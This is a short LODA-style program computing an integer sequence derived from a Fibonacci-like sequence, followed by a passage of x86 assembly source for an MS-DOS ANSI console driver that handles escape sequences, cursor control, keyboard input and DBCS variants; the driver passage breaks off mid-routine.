; 0,1,1,2,2,4,6,10,17,27,44,71,115,186,302,488,790,1278,2067,3345,5412,8757,14169,22926,37094,60020,97114,157134,254249,411383,665632,1077015,1742647,2819662,4562310,7381972,11944282,19326254,31270535,50596789,81867324,132464113,214331437,346795550,561126986,907922536,1469049522,2376972058,3846021581,6222993639,10069015220,16292008859,26361024079,42653032938,69014057018,111667089956,180681146974,292348236930,473029383903,765377620833,1238407004736,2003784625569,3242191630305,5245976255874,8488167886178,13734144142052,22222312028230,35956456170282,58178768198513,94135224368795,152313992567308,246449216936103,398763209503411,645212426439514,1043975635942926,1689188062382440,2733163698325366,4422351760707806,7155515459033171
cal $0,22087 ; Fibonacci sequence beginning 0, 4.
mov $1,$0
add $1,7
div $1,5
sub $1,1
|
PAGE ,132
TITLE CONDEV FANCY CONSOLE DRIVER
;******************************************************************************
; Change Log:
; Date Who # Description
; -------- --- --- ------------------------------------------------------
; 06/01/90 MKS C02 Bug#173. ANSI was permitting you to go one line below
; the bottom of the screen. PROMPT $e[25;3H $e[1B will
; show you. (PYS: badly done. M005)
;******************************************************************************
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; ADDRESSES FOR I/O
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;------------------------------------------------------------------------------
; New functionality in DOS 4.00
; GHG fix scrolling flashes on Mod 25/30's
; P1767 VIDEO_MODE_TABLE not initialized correctly 10/16/87 J.K.
; D375 /X needs to be supported by ANSI sequence also 12/14/87 J.K.
; D397 /L option for Enforcing number of lines 12/17/87 J.K.
; D479 An option to disable the extended keyboard functions 02/12/88 J.K.
; P4241 AN001 fix be Revised to fix this problem 04/20/88 J.K.
; P4532 Scrolling has a snow for CGA adapter 04/27/88 J.K.
; P4533 In mode Dh, Eh, Fh, 10h and 13h, Scrolling not working 04/27/88 J.K.
; P4766 In mode 11h, and 12h erase display leaves bottom 5 05/24/88 F.G.
;------------------------------------------------------------------------------
INCLUDE DEVSYM.INC
INCLUDE ANSI.INC ;equates and structures
INCLUDE VECTOR.INC
BREAK <ANSI driver code>
PUBLIC SWITCH_X ; /X option for extended keyboard redefinition support
PUBLIC SWITCH_R ; /R option for using screen readers
PUBLIC SCAN_LINES
PUBLIC VIDEO_MODE_TABLE
PUBLIC VIDEO_TABLE_MAX
PUBLIC MAX_VIDEO_TAB_NUM ;P1767
PUBLIC PTRSAV
PUBLIC ERR1
PUBLIC ERR2
PUBLIC EXT_16
PUBLIC BRKKY
PUBLIC COUT
PUBLIC BASE
PUBLIC MODE
PUBLIC MAXCOL
PUBLIC EXIT
PUBLIC NO_OPERATION
PUBLIC HDWR_FLAG
PUBLIC SWITCH_L
PUBLIC SWITCH_K
PUBLIC SWITCH_S ; M008 /S for screensize option setting.
PUBLIC fhavek09 ; M006
PUBLIC CON$READ
PUBLIC CON$RDND
PUBLIC CON$FLSH
PUBLIC CON$WRIT
PUBLIC VIDEO
PUBLIC CUU
PUBLIC CUD
PUBLIC CUF
PUBLIC CUB
PUBLIC CUP
PUBLIC ED
PUBLIC CPR
PUBLIC SM
PUBLIC RM
PUBLIC SGR
PUBLIC DSR
PUBLIC KEYASN
PUBLIC EXTKEY
PUBLIC PSCP
PUBLIC PRCP
IFDEF JAPAN
PUBLIC ROW_ADJ
ENDIF
CODE SEGMENT PUBLIC BYTE
ASSUME CS:CODE,DS:NOTHING,ES:NOTHING
;-----------------------------------------------
; C O N - CONSOLE DEVICE DRIVER
EXTRN CON$INIT : NEAR ; ANSI initialization code
EXTRN GENERIC_IOCTL : NEAR ; Generic IOCTL code
EXTRN REQ_TXT_LENGTH : WORD ; current text length
EXTRN GRAPHICS_FLAG : BYTE ; graphics flag
ATTRIB EQU CHARDEV+DEVIOCTL+DEV320+ISSPEC+ISCOUT+ISCIN
CONDEV: SYSDEV <-1,ATTRIB,STRATEGY,ENTRY,'CON '> ; Matches CON
;--------------------------------------------------------------
; COMMAND JUMP TABLES
CONTBL:
DW CON$INIT
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW CON$READ
DW CON$RDND
DW NO_OPERATION
DW CON$FLSH
DW CON$WRIT
DW CON$WRIT
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW NO_OPERATION
DW GENERIC_IOCTL ; generic IOCTL routine offset
MAX_CMD EQU ($ - CONTBL)/2 ; size of CONTBL
CMDTABL DB 'A'
DW CUU ; cursor up
DB 'B'
DW CUD ; cursor down
DB 'C'
DW CUF ; cursor forward
DB 'D'
DW CUB ; cursor back
DB 'H'
DW CUP ; cursor position
DB 'J'
DW ED ; erase display
DB 'K'
DW EL ; erase line
DB 'R'
DW CPR ; cursor postion report
DB 'f'
DW CUP ; cursor position
DB 'h'
DW SM ; set mode
DB 'l'
DW RM ; reset mode
DB 'm'
DW SGR ; select graphics rendition
DB 'n'
DW DSR ; device status report
DB 'p'
DW KEYASN ; key assignment
DB 'q' ; dynamic support of /X option through ansi sequence
DW EXTKEY ; esc[0q = reset it. esc[1q = set it
DB 's'
DW PSCP ; save cursor postion
DB 'u'
DW PRCP ; restore cursor position
IFDEF JAPAN
DB 'M'
DW DELETE ; delete line
DB 'L'
DW INSERT ; insert line
ENDIF
DB 00
GRMODE DB 00,00000000B,00000111B
DB 01,11111111B,00001000B
DB 04,11111000B,00000001B
DB 05,11111111B,10000000B
DB 07,11111000B,01110000B
DB 08,10001000B,00000000B
DB 30,11111000B,00000000B
DB 31,11111000B,00000100B
DB 32,11111000B,00000010B
DB 33,11111000B,00000110B
DB 34,11111000B,00000001B
DB 35,11111000B,00000101B
DB 36,11111000B,00000011B
DB 37,11111000B,00000111B
DB 40,10001111B,00000000B
DB 41,10001111B,01000000B
DB 42,10001111B,00100000B
DB 43,10001111B,01100000B
DB 44,10001111B,00010000B
DB 45,10001111B,01010000B
DB 46,10001111B,00110000B
DB 47,10001111B,01110000B
DB 0FFH
;---------------------------------------------------
; Device entry point
PTRSAV DD 0
BUF1: BUF_DATA <> ; Next CON Buffer area
STRATP PROC FAR
STRATEGY:
mov word ptr cs:[PTRSAV],bx
mov word ptr cs:[PTRSAV+2],es
ret
STRATP ENDP
ENTRY:
push si
push ax
push cx
push dx
push di
push bp
push ds
push es
push bx
; Check if header link has to be set (Code ported from
; DISPLAY.SYS)
lea bx,BUF1
mov di,OFFSET CONDEV ; CON Device header
mov CONPTR.DEV_HDRO,di
mov CONPTR.DEV_HDRS,cs
cld ; all moves forward
cmp CONPTR.CON_STRAO, -1
jne L4 ; has been linked to DOS CON
cmp CONPTR.CON_STRAS, -1
jne L4 ; has been linked to DOS CON
; next device header : ES:[DI]
lds si,dword ptr CONPTR.DEV_HDRO
les di,HP.SDEVNEXT
L1: ; while pointer to next device header
push es ; is not -1
pop ax
cmp ax,-1
jne NOT0FFFF ; leave if both offset and segment are
cmp di,-1 ; 0FFFFH
je L4
NOT0FFFF:
push di
push si
mov cx,8
lea di,NHD.SDEVNAME
lea si,HP.SDEVNAME
repe cmpsb
pop si
pop di
and cx,cx
; Exit if name is found in linked hd.
jnz L3 ; Name is not found
; Name is found in the linked header
mov ax,NHD.SDEVSTRAT ; Get the STRATEGY address
mov CONPTR.CON_STRAO,ax
mov ax,es
X1: mov CONPTR.CON_STRAS,ax
mov ax,NHD.SDEVINT ; Get the INTERRUPT address
mov CONPTR.CON_INTRO,ax
mov ax,es
X2: mov CONPTR.CON_INTRS,ax
jmp SHORT L4 ; Device Name
L3:
les di,NHD.SDEVNEXT
jmp L1
L4:
lds bx,cs:[PTRSAV] ; GET PONTER TO I/O PACKET
mov cx,word ptr ds:[bx].COUNT
mov al,byte ptr ds:[bx].CMD
cbw
mov si,OFFSET CONTBL
add si,ax
add si,ax
cmp al,MAX_CMD ; not a call for ANSI...chain to lower device
ja NO_OPERATION
ifdef KOREA ; <MSCH>
mov ah, byte ptr ds:[bx].media
endif ; KOREA
les di,dword ptr ds:[bx].TRANS
; Following code, supplied by Compaq, is the "hit-it-on-the-head"
; approach to solving the problem of resetting the screen length
; after a character set reload. We should try to find a better
; approach. For now this will stay in. - MGD
push ax ; SAVE AX
mov ax,40H ; GET ROM VAR
mov ds,ax ;
mov al,ds:[84h] ; GET MAX NUM OF ROWS
cmp al,0 ; Q:ZERO
jne ENTRY10 ; jmp IF NO
mov al,24 ; SET TO 24 ROWS
ENTRY10: ;
push cs
pop ds
ASSUME ds:CODE
inc al ; BUMP FOR ONE BASED
mov byte ptr [REQ_TXT_LENGTH],al ; SET LENGTH TO 40:84H VALUE. *F
pop ax ; RESTORE AX
jmp word ptr [si] ; GO DO COMMAND
;=====================================================
;=
;= SUBROUTINES SHARED BY MULTIPLE DEVICES
;=
;=====================================================
;----------------------------------------------------------
; EXIT - ALL ROUTINES RETURN THROUGH THIS PATH
BUS$EXIT: ; DEVICE BUSY EXIT
mov ah,00000011B
jmp SHORT ERR1
NO_OPERATION:
call PASS_CONTROL ; Pass control to lower CON
jmp SHORT ERR2
ERR$EXIT:
mov ah,10000001B ; MARK ERROR RETURN
jmp SHORT ERR1
EXITP PROC FAR
EXIT: mov ah,00000001B
ifdef KOREA
INTERIM$EXIT: ; <MSCH>
endif ; KOREA
ERR1: lds bx,cs:[PTRSAV]
mov word ptr [bx].STATUS,ax ; MARK OPERATION COMPLETE
ERR2:
pop bx
pop es
pop ds
pop bp
pop di
pop dx
pop cx
pop ax
pop si
ret ; RESTORE REGS and RETURN
EXITP ENDP
; PASS CONTROL
; This calls the attached device to perform any further
; action on the call!
PASS_CONTROL PROC
lea si,BUF1
les bx,cs:[PTRSAV] ; pass the request header to the
call dword ptr cs:[si].CON_STRAO ; CON strategy routine.
call dword ptr cs:[si].CON_INTRO ; interrupt the CON
ret
PASS_CONTROL ENDP
;-----------------------------------------------
; BREAK KEY HANDLING
BRKKY:
mov byte ptr cs:ALTAH,3 ; INDICATE BREAK KEY SET
INTRET: iret
; WARNING - Variables are very order dependent, be careful
; when adding new ones! - c.p.
WRAP DB 0 ; 0 = WRAP, 1 = NO WRAP
ASNPTR DW 4
STATE DW S1
MODE DB 3 ;*
MAXCOL DB 79 ;*
COL DB 0
ROW DB 0
SAVCR DW 0
INQ DB 0
PRMCNT LABEL BYTE
PRMCNTW DW 0
KEYCNT DB 0
KEYPTR DW BUF
REPORT DB ESC_CHAR,'[00;00R',CR ;CURSOR POSTION REPORT BUFFER
ALTAH DB 0 ;Special key handling
SAVE_CHAR DW 0 ; Temp storage for char/attr for new scroll code
EXT_16 DB 0 ; Extended INT 16h flag
SWITCH_X DB OFF ; /X flag
SWITCH_L DB OFF ; DCR397; 1= /L flag entered.
SWITCH_K DB OFF ; To control EXT_16
fhavek09 DB OFF ; M006
SCAN_LINES DB ? ; flag for available scan lines (VGA)
HDWR_FLAG DW 0 ; byte of flags indicating video support
SWITCH_S DB OFF ; M008; /S flag
SWITCH_R DB OFF ; /R flag for screen readers
ifdef KOREA ;
REQ_TYPE DB 0 ;
EXT_REQ_TYPE DB 0 ;
LEADBYTE DB 0 ;
TRAILBYTE DB 0 ;
ECSPRE DB 0 ;
endif ; KOREA ;
VIDEO_MODE_TABLE LABEL BYTE ; table containing applicable
MODE_TABLE <> ; video modes and corresponding
MODE_TABLE <> ; data.
MODE_TABLE <> ; this table is initialized at
MODE_TABLE <> ; INIT time
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
MODE_TABLE <>
ifdef KOREA ; The KOREAN video mode
MODE_TABLE <> ; have 4 more than standard
MODE_TABLE <> ; VGA card
MODE_TABLE <> ;
MODE_TABLE <> ;
endif ; KOREA ;
VIDEO_TABLE_MAX EQU $ ; maximum address for video table
MAX_VIDEO_TAB_NUM EQU ($-VIDEO_MODE_TABLE)/TYPE MODE_TABLE ;P1767 Max number of table
IFDEF DBCS
dbcs_flag DB 0 ; 0=single, 1=lead byte, 2=tail byte
ENDIF
IFDEF JAPAN
new_mode DB 0 ; mode for '>'
row_adj DB 0 ; for ESC[>1l
ENDIF
;-------------------------------------------------------------
; CHROUT - WRITE OUT CHAR IN AL USING CURRENT ATTRIBUTE
ATTRW LABEL WORD
ATTR DB 00000111B ; CHARACTER ATTRIBUTE
BPAGE DB 0 ; BASE PAGE
BASE DW 0b800h
SCREEN_SEG DW 00000h
chrout:
ifdef KOREA ; <MSCH>
;
cmp [leadbyte],1 ; Is the previous byte a lead byte? ; KeyW
jnz TestDBCSRange ; No,
mov byte ptr [leadbyte],0
mov byte ptr [trailbyte],1 ; Mark that this is trail byte of ECS
jmp short OUTCHR
;
;
; Note : TestECS routine is hard coded. If you have the different code range,
; you should change some codes below.
; 1990/11/9 This routine is changed to use IsDBCS routines.
;
TestDBCSRange:
mov byte ptr [trailbyte], 0 ; Mark it as a non trail byte
call IsDBCSleadbyte
jnz realout ; Jump if one byte code
;
; CMP AL, 0A1H ;
; JB REALOUT ;
; CMP AL, 0FEH ;
; JA REALOUT ;
mov byte ptr [leadbyte], 1 ; it as a lead byte
mov ah, [col] ;
cmp ah, [maxcol] ;
jnz outchr ;
; ;
; Decide the position to print the Lead byte which is on the column boundary.
;
cmp [wrap],0 ;
jz skip1 ;
dec [col] ;
cmp [ecspre],1 ;
jnz oneback1 ;
dec [col] ;
oneback1: ;
call setit1 ;
jmp short outchr ;
skip1: ;
push ax ;
call outchr1 ;
pop ax ;
jmp short outchr ;
realout:
endif ; KOREA ;
cmp al,13
jnz trylf
mov [COL],0
ifdef KOREA
jmp setit
else
IFDEF JAPAN
jmp setit
ELSE
jmp short setit
ENDIF
endif ; KOREA
trylf: cmp al,10
jz lf
cmp al,7
jnz tryback
torom:
mov bx,[ATTRW]
and bl,7
mov ah,14
int 10h
ret5: ret
tryback:
cmp al,8
jnz outchr
cmp [COL],0
jz ret5
dec [COL]
jmp short setit
outchr:
mov bx,[ATTRW]
mov cx,1
mov ah,9
int 10h
inc [COL]
mov al,[COL]
cmp al,[MAXCOL]
jbe setit
cmp [wrap],0
jz outchr1
dec [COL]
ifdef KOREA
;
; Set boundary position for DBCS code.
; No lead byte can arrive here.
;
cmp [trailbyte],1
jnz onebk
dec [col]
onebk:
call setit1
;
; We don't need ECSPRE change, because we have enough time to deal with it.
; Wait for another character to change ECSPRE.
;
endif ; KOREA
ret
outchr1:
mov [COL],0
lf: inc [ROW]
mov ah,30 ; GHG Fix for ROUNDUP/PALACE
mov al,MODE ; GHG Fix for ROUNDUP/PALACE
cmp al,11H ; GHG Fix for ROUNDUP/PALACE
je LF2 ; GHG Fix for ROUNDUP/PALACE
cmp al,12H ; GHG Fix for ROUNDUP/PALACE
je LF2 ; GHG Fix for ROUNDUP/PALACE
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jne tmplab1
mov ah,DEFAULT_LENGTH
jmp short tmplab2
tmplab1:
mov ah,byte ptr [REQ_TXT_LENGTH]
tmplab2:
LF2: ; GHG Fix for ROUNDUP/PALACE
IFDEF JAPAN
sub ah,row_adj
ENDIF
cmp [ROW],AH ; GHG Fix for ROUNDUP/PALACE
jb setit
dec ah ; GHG Fix for ROUNDUP/PALACE
mov [ROW],AH ; GHG Fix for ROUNDUP/PALACE
call scroll
setit:
ifdef KOREA
preset:
xor al, al
cmp [trailbyte],al
jz noDBCStrail
inc al
noDBCStrail:
mov [ecspre], al
setit1:
endif ; KOREA
mov dh,row
mov dl,col
mov bh,[bpage]
mov ah,2
int 10h
ret
;Writing a LF char through Teletype function to scroll the screen
;has a side effect of changing the color of the cursor when the PROMPT
;setting in PTM P4241 is used. AN001 uses this method to fix the strobing
;problem of the palace machine. The old method of scrolling used to directly
;write into video buffer. The old method has been used by AN001 for
;CGA adater of mode 2 or 3 only.
;To solve P4241, but to maintain the fix of the strobing problem of palace
;machine, we return back to the old logic but the old logic has to be
;Revised for the displays above CGA level. For the adapters above
;CGA display, we don't need to turn off/on the video - this will causes
;a strobing, if you use do this, for Palace machine.
;This logic will be only applied to mode 2 and 3 only.
; Following code is bug fix supplied by Compaq - MGD
scroll:
ifdef KOREA ; Responsible for ROM
mov al, 10
jmp torom
else
IFDEF JAPAN ; ### if JAPAN ###
xor cx,cx
cmp GRAPHICS_FLAG,GRAPHICS_MODE
jnz scroll10 ; if nor graphic
mov dh,DEFAULT_LENGTH
xor bh,bh
jmp short scroll20
scroll10:
mov dh,byte ptr [REQ_TXT_LENGTH]
mov bh,[ATTR]
scroll20:
sub dh,row_adj
dec dh
mov dl,[MAXCOL]
mov ax,0601h ; scroll up
int 10h
jmp short setit
else ; ### if Not JAPAN ###
; Because of screen reader problem, /R switch was added.
; If Switch_R set all line feeds go to torom. Bug #1241- msdos6:
cmp SWITCH_R,OFF
je is_2or3 ; if off, goto test mode
mov al,10 ; if ON send the line feed to the ROM
jmp torom ; exit
is_2or3:
mov al,mode ; get display mode
cmp al,4 ;Q: mode less than 4?
jc is_text ;Y: perform kludge
cmp al,7 ;N: Q: monochrome mode?
je is_text ; Y: perform kludge
mov al,10 ; send the line feed to the ROM
jmp torom ; exit
is_text:
mov ah,8 ; read char/attr at cursor pos
mov bh,[bpage]
int 10h
mov [save_char],ax ; save char/attribute
mov ah,9 ; write char at cursor pos
mov bx,[ATTRW] ; use current attribute
mov cx,1
int 10h
mov al,10 ; send the line feed to the ROM
call torom
mov ah,3 ; read cursor pos
int 10h
push dx ; save it
mov ah,2 ; set cursor position
dec dh ; (to row-1)
int 10h
mov ax,[save_char] ; retrieve saved char/attr
mov bl,ah
mov ah,9 ; write it back to the screen
mov cx,1
int 10h
pop dx ; retrieve new cursor position
mov ah,2 ; set cursor position
int 10h
ret
ENDIF ; ### end if Not JAPAN ###
endif ; KOREA
;------------------------------------------------------
; CONSOLE READ ROUTINE
CON$READ:
jcxz CON$EXIT
ifdef KOREA ;
mov [req_type], 0 ;
mov [ext_req_type], 10h ;
test ah, 00000001b ;
jz con$loop ;
mov [req_type], 0f0h ; ; Get Interim mode
mov [ext_req_type], 0f8h ;
cmp cx, 1 ;
jnz con$ndisp ;
;
call chrin ;
stosb ;
cmp ah, 0f0h ; ; Is this an interim code ?
jnz con$exit ;
mov ah, 00000101b ;
jmp interim$exit ; ; return to DOS with interim flag set
con$ndisp: ;
call chrin ;
cmp ah, 0f0h ; ; Is this an interim code ?
jz con$ndisp ; ; Skip the interims
stosb ;
LOOP CON$NDISP ;
JMP EXIT ;
endif ; KOREA
CON$LOOP:
push cx ; SAVE COUNT
call CHRIN ; GET CHAR IN AL
pop cx
stosb ; STORE CHAR AT ES:DI
loop CON$LOOP
CON$EXIT:
jmp EXIT
;---------------------------------------------------------
; INPUT SINGLE CHAR INTO AL
CHRIN: xor ax,ax
xchg al,ALTAH ; GET CHARACTER & ZERO ALTAH
or al,al
jnz KEYRET
INAGN: cmp KEYCNT,0
jnz KEY5A
ifdef KOREA
mov ah, [req_type]
else
xor ah,AH
endif ; KOREA
cmp EXT_16,ON ; extended interrupt available?
jne tmplab3
ifdef KOREA
mov ah, [ext_req_type]
else
mov ah,10h ; yes..perform extended call
endif ; KOREA
INT 16h
ifdef KOREA
cmp ah, 0f0h
jz keyret1 ; Breief return for the interim code
endif ; KOREA
cmp SWITCH_X,OFF ; /X switch used?
jne tmplab5
call CHECK_FOR_REMAP ; no....map to normal call
tmplab5:
call SCAN ; check for redefinition
jz tmplab4 ; no redefinition?....and
cmp SWITCH_X,ON ; /X switch used?
jne tmplab4
call CHECK_FOR_REMAP ; then remap..
or bx,bx ; reset zero flag for jump test in old code
jmp short tmplab4
; extended interrupt not available
tmplab3:
int 16h
ifdef KOREA
cmp ah, 0f0h
jz keyret1
endif ; KOREA
call SCAN ; check for redefinition
tmplab4:
jnz ALT10 ; IF NO MATCH JUST RETURN IT
dec cx
dec cx
inc bx
inc bx
cmp al,0 ; check whether keypacket is an extended one
jz tmplab7
cmp al,0e0h
jnz tmplab6
ifdef KOREA
cmp ah, 0f0h
jb mschtmp2
cmp ah, 0f2h
jbe tmplab7
mschtmp2:
endif ; KOREA
cmp SWITCH_X,1
jnz tmplab6
tmplab7:
dec cx ; adjust pointers
inc bx ; appropiately
tmplab6:
mov KEYCNT,cl
mov KEYPTR,bx
KEY5A: ; Jmp here to get rest of translation
call KEY5 ; GET FIRST KEY FROM TRANSLATION
ALT10:
or ax,ax ; Check for non-key after BREAK
jz INAGN
or al,al ; SPECIAL CASE?
jnz KEYRET
mov ALTAH,ah ; STORE SPECIAL KEY
KEYRET:
ifdef KOREA
mov ah, 0f1h
keyret1:
endif ; KOREA
ret
KEY5: mov bx,KEYPTR ; GET A KEY FROM TRANSLATION TABLE
mov ax,word ptr [bx]
dec KEYCNT
inc bx
or al,al
jnz KEY6
inc bx
dec KEYCNT
KEY6: mov KEYPTR,bx
ret
SCAN: mov bx,OFFSET BUF
KEYLP: mov cl,byte ptr [bx]
xor ch,ch
or cx,cx
jz NOTFND
cmp al,0 ; check whether extended keypacket
jz tmplab8
cmp al,0e0h ; extended must be enabled with /x
jnz tmplab9
ifdef KOREA ; Jump when Hangeul char
cmp ah, 0f0h
jb mschtmp1
cmp ah, 0f2h
jbe tmplab9
mschtmp1:
endif ; KOREA
cmp SWITCH_X,ON
jnz tmplab9
tmplab8:
cmp ax,word ptr [bx+1] ; yes...compare the word
jmp short tmplab10
tmplab9:
cmp al,byte ptr [bx+1] ; no...compare the byte
tmplab10:
jz MATCH
add bx,cx
jmp KEYLP
NOTFND: or bx,bx
MATCH: ret
;--------------------------------------------------------------
; KEYBOARD NON DESTRUCTIVE READ, NO WAIT
CON$RDND:
mov al,[ALTAH]
or al,al
ifdef KOREA
jnz To_RDEXIT
else
jnz RDEXIT
endif ; KOREA
cmp [KEYCNT],0
jz RD1
mov bx,[KEYPTR]
mov al,byte ptr [bx]
ifdef KOREA
to_rdexit:
jmp rdexit
else
jmp SHORT RDEXIT
endif ; KOREA
RD1:
ifdef KOREA
mov [req_type], 1
mov [ext_req_type], 11H
test ah, 00000001b
jz rd11
mov [req_type], 0f1h
mov [ext_req_type], 0f9H
RD11:
mov ah, [req_type]
cmp ext_16, on
jnz tmplab11
mov ah, [ext_req_type]
else
mov ah,1
cmp EXT_16,ON
jnz tmplab11
add ah,10h ; yes....adjust to extended call
endif ; KOREA
tmplab11:
int 16h
jz CheckForEvent
or ax,ax
jnz RD2
ifdef KOREA
mov ah, [req_type]
and ah, 11111110b
else
mov ah,0
endif ; KOREA
cmp EXT_16,ON ; extended interrupt available?
jne tmplab12
ifdef KOREA
mov ah, [ext_req_type]
and ah, 11111110b
else
mov ah,10h ; yes..perform extended call
endif ; KOREA
int 16h
cmp SWITCH_X,OFF ; /X switch used?
jnz tmplab13
call CHECK_FOR_REMAP ; no....map to normal call
jmp short tmplab13
tmplab12:
int 16h
tmplab13:
jmp CON$RDND
RD2:
ifdef KOREA
cmp ah, 0f0h
jz rdexit
endif ; KOREA
call SCAN
jz tmplab14 ; if no redefinition
cmp EXT_16,ON
jnz tmplab14 ; and extended INT16 used
cmp SWITCH_X,ON ; and /x used
jnz tmplab14
call CHECK_FOR_REMAP ; remap to standard call
or bx,bx ; reset zero flag for jump test in old code
tmplab14:
jnz RDEXIT
mov al,byte ptr [bx+2]
cmp byte ptr [bx+1],0
jnz RDEXIT
mov al,byte ptr [bx+3]
RDEXIT: lds bx,[PTRSAV]
mov [bx].MEDIA,al
EXVEC: jmp EXIT
; M006 - begin
CheckForEvent:
cmp fhavek09,0
jz CONBUS ; return with busy status if not k09
les bx,[ptrsav]
assume es:nothing
test es:[bx].status,0400h ; system wait enabled?
jz CONBUS ; return with busy status if not
; need to wait for ibm response to request for code
; on how to use the system wait call.
mov ax,4100h ; wait on an external event
xor bl,bl ; wait for any event
int 15h ; call rom for system wait
; M006 - end
CONBUS: jmp BUS$EXIT
;--------------------------------------------------------------
; KEYBOARD FLUSH ROUTINE
CON$FLSH:
mov [ALTAH],0 ; Clear out holding buffer
mov [KEYCNT],0
ifdef KOREA
mov ah, 0f3h
int 16h
ReadNullByte: ; We may have final char
mov ah, 0f1h
int 16h
jz FlushDone
mov ah, 0f0h
int 16h
jmp short ReadNullByte
FlushDone:
else
Flush: mov ah,1
cmp EXT_16,ON ; if extended call available
jnz tmplab15
add ah,10h ; then use it
tmplab15:
int 16h
jz FlushDone
mov ah,0
cmp EXT_16,ON ; if extended call available
jnz tmplab16
add ah,10h ; use it
tmplab16:
int 16h
jmp Flush
FlushDone:
endif ; KOREA
jmp EXVEC
;----------------------------------------------------------
; CONSOLE WRITE ROUTINE
CON$WRIT:
jcxz EXVEC
ifdef KOREA
test ah, 00000001b
jnz con$lp_nac ;OUT CHAR WITHOUT CURSOR ADVANCING
endif ; KOREA
CON$LP: mov al,es:[di] ; GET CHAR
inc di
call OUTC ; OUTPUT CHAR
loop CON$LP ; REPEAT UNTIL ALL THROUGH
jmp EXVEC
ifdef KOREA
con$lp_nac:
mov al, es:[di]
inc di
call outchr_nac ;OUTPUT CHAR WITHOUT CURSOR MOVE
loop con$lp_nac ;REPEAT UNTIL ALL THROUGH
jmp exit
outchr_nac:
push ax
push si
push di
push bp
mov ah, 0feh ;OUTPUT CHAR WITHOUT CURSOR ADVANCING
mov bl, 7 ;SET FOREGROUND COLOR
int 10h ;CALL ROM BIOS
pop bp
pop di
pop si
pop ax
ret
endif
COUT: sti
push ds
push cs
pop ds
call OUTC
pop ds
Iret
OUTC: push ax
push bx
push cx
push dx
push si
push di
push es
push bp
mov [BASE],0b800h
xchg ax,si ; SAVE CHARACTER TO STUFF
mov ax,40h ; POINT TO ROS BIOS
mov ds,ax
mov ax,ds:[49h] ; AL=MODE, AH=MAX COL
dec ah ; ANSI NEEDS 0-79 OR 0-39
mov word ptr cs:[MODE],ax ; SAVE MODE and MAX COL
cmp al,7
jnz NOT_BW
mov word ptr cs:[BASE],0B000H
NOT_BW: mov al,ds:[62H] ; GET ACTIVE PAGE
mov cs:[BPAGE],al
cbw
add ax,ax
mov bx,ax
mov ax,ds:[bx+50H] ; AL=COL, AH=ROW
mov word ptr cs:[COL],ax ; SAVE ROW and COLUMN
mov ax,ds:[4EH] ; GET START OF SCREEN SEG
mov cl,4
shr ax,cl ; CONVERT TO A SEGMENT
push cs
pop ds
mov [SCREEN_SEG],ax
xchg ax,si ; GET BACK CHARACTER IN AL
call VIDEO
pop bp
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;----------------------------------------------------------
; OUTPUT SINGLE CHAR IN AL TO VIDEO DEVICE
VIDEO: mov si,OFFSET STATE
jmp [si]
S2: cmp al,'['
jz S22
ifdef KOREA
cmp al, '$'
jnz chk_off
mov word ptr [si], offset S8
ret
chk_off:
cmp al, '('
jnz jmp_S1
mov word ptr [si], offset S10
ret
jmp_S1:
endif ; KOREA
jmp S1
S22: mov word ptr [si],OFFSET S3
xor bx,bx
mov word ptr INQ,bx
jmp SHORT S3B
S3: cmp al,';'
jnz S3C
S3A: inc PRMCNT
S3B: call GETPTR
xor ax,ax
mov word ptr [bx],ax ; DEFAULT VALUE IS ZERO
ret
S3C: cmp al,'0'
jb S3D
cmp al,'9'
ja S3D
call GETPTR
sub al,'0'
xchg al,byte ptr [bx]
mov ah,10
mul ah ; *10
add byte ptr [bx],al ; movE IN DIGIT
ret
S3D: cmp al,'='
jz S3ret
cmp al,'?'
jz S3ret
IFDEF JAPAN
cmp al,'>'
jz s3f
ENDIF
cmp al,'"' ; BEGIN QUOTED STRING
jz S3E
cmp al,"'"
jnz S7
S3E: mov word ptr [si],OFFSET S4
mov [INQ],al
S3ret: ret
IFDEF JAPAN
s3f:
mov new_mode,1
jmp short s3ret
ENDIF
; ENTER QUOTED STRINGS
S4: cmp al,[INQ] ; CHECK FOR STRING TERMINATOR
jnz S4A
dec PRMCNT ; TERMINATE STRING
mov word ptr [si],OFFSET S3
ret
S4A: call GETPTR
mov byte ptr [bx],al
mov word ptr [si],OFFSET S4
jmp S3A
; LOOK FOR ANSI COMMAND SPECIFIED IN AL
PUBLIC S7
S7: mov bx,OFFSET CMDTABL-3
S7A: add bx,3
cmp byte ptr [bx],0
jz S1B
cmp byte ptr [bx],al
jnz S7A
S7B: mov ax,word ptr [bx+1] ; AX = JUMP addRESS
mov bx,OFFSET BUF
inc bx
add bx,ASNPTR ; BX = PTR TO PARM LIST
mov DL,byte ptr [bx]
xor DH,DH ; DX = FIRST PARAMETER
mov cx,dx
or cx,cx
jnz S7C
inc cx ; CX = DX, CX=1 IF DX=0
S7C: jmp ax ; AL = COMMAND
S1: cmp al,ESC_CHAR ; ESCAPE SEQUENCE?
jnz S1B
IFDEF DBCS
mov dbcs_flag,0
ENDIF
IFDEF JAPAN
mov new_mode,0
ENDIF
mov word ptr [si],OFFSET S2
ret
S1B:
ifndef KOREA ; IN KOREA, WE ALREADY handled
IFDEF DBCS
cmp dbcs_flag,1
jz set_dbcs ; if it was lead byte
cmp dbcs_flag,2
jnz @f ; if it was not tail byte
mov dbcs_flag,0 ; reset
@@:
call IsDBCSLeadByte
jnz @f ; if this is not lead byte
set_dbcs:
inc dbcs_flag
@@:
cmp dbcs_flag,1
jnz @f
mov dl,col
cmp dl,maxcol
jnz @f
push ax
mov al,' '
call chrout
pop ax
@@:
ENDIF
endif ; NOT KOREA
call CHROUT
S1A: mov word ptr [STATE],OFFSET S1
ret
ifdef KOREA
S8: cmp al, ')'
jnz s1
mov word ptr [si], offset S9
ret
S9: cmp al, '1'
jnz S1
han_on:
mov ah, 0f2h
mov al, 08h ; Hangeul input mode on
int 16h
ret
S10: cmp al, '2'
jnz S1
han_off:
mov ah, 0f2h
mov al, 00h
